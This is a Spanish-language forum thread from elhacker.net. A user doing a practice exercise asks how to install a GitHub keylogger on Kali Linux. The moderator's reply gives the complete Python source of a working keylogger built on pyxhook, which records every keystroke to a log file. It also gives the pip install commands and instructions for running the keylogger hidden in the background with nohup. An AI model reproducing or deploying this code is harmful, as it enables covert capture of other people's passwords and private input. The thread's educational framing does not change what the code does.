elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  NO ENTIENDO!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: NO ENTIENDO!  (Leído 4,694 veces)
Pitagoras

Desconectado Desconectado

Mensajes: 29


Ver Perfil
NO ENTIENDO!
« en: 20 Marzo 2022, 18:28 pm »

Tengo una duda, estoy haciendo una practica acerca de los keylogger y este es el que me tengo que descargar: https://github.com/GiacomoLaw/Keylogger. Tengo que utilizar Kali Linux.
Ya me le he descargado pero ahora no se que pasos debo seguir para instalarlo, para que capture y guarde en un archivo todas las letras tecleadas por el usuario.

Saludos
En línea

fary
Moderador
***
Desconectado Desconectado

Mensajes: 1.062



Ver Perfil WWW
Re: NO ENTIENDO!
« Respuesta #1 en: 21 Marzo 2022, 07:36 am »

El keylogger en Linux es un script en python. Creas el script lo ejecutas y listo  :P

Código
  1. # import needed modules
  2. import os
  3. from datetime import datetime
  4. import pyxhook
  5.  
  6. def main():
  7.    # Specify the name of the file (can be changed )
  8.    log_file = f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log'
  9.  
  10.    # The logging function with {event parm}
  11.    def OnKeyPress(event):
  12.  
  13.        with open(log_file, "a") as f:  # Open a file as f with Append (a) mode
  14.            if event.Key == 'P_Enter' :
  15.                f.write('\n')
  16.            else:
  17.                f.write(f"{chr(event.Ascii)}")  # Write to the file and convert ascii to readable characters
  18.  
  19.    # Create a hook manager object
  20.    new_hook = pyxhook.HookManager()
  21.    new_hook.KeyDown = OnKeyPress
  22.  
  23.    new_hook.HookKeyboard()  # set the hook
  24.  
  25.    try:
  26.        new_hook.start()  # start the hook
  27.    except KeyboardInterrupt:
  28.        # User cancelled from command line so close the listener
  29.        new_hook.cancel()
  30.        pass
  31.    except Exception as ex:
  32.        # Write exceptions to the log file, for analysis later.
  33.        msg = f"Error while catching events:\n  {ex}"
  34.        pyxhook.print_err(msg)
  35.        with open(log_file, "a") as f:
  36.            f.write(f"\n{msg}")
  37.  
  38.  
  39. if __name__ == "__main__":
  40.    main()


Código:
The following instructions will install Keylogger using pip3 .

  pip3 install -r requirements.txt

or

  pip3 install pyxhook

Código:
How to run it

By running nohup python3 keylogger.py & command, it'll start to log your strokes: The meaning of nohup is ‘no hangup‘. When nohup command use with ‘&’ then it doesn’t return to shell command prompt after running the command in the background.

$~/Keylogger/linux$ nohup python3 keylogger.py &
[1] 12529 //this is the keylogger's PID (process ID)
$:~/Keylogger/linux$ fg

The Keylogger is now running! It will log your strokes to a file . Stop it by typing the command fg then hitting CTRL+C

or

kill {PID} for example kill 12529
« Última modificación: 21 Marzo 2022, 07:53 am por fary » En línea

Un byte a la izquierda.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
no entiendo eso de MPG y VOB
Multimedia
leocadenas 1 1,648 Último mensaje 9 Marzo 2005, 18:33 pm
por arda-lothi
exe y comandos.... asi lo entiendo yo XD
Programación Visual Basic
schumacher 4 1,181 Último mensaje 22 Febrero 2008, 02:15 am
por schumacher
No entiendo por que las ip empienza en 10
Redes
CAM1LO 5 2,828 Último mensaje 26 Febrero 2018, 22:57 pm
por bettu
no lo entiendo
Programación C/C++
proterva 2 1,531 Último mensaje 22 Agosto 2018, 14:30 pm
por Beginner Web
no entiendo el filtro bayer de las camaras
Dudas Generales
inma55 9 4,657 Último mensaje 5 Septiembre 2023, 10:14 am
por inma55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines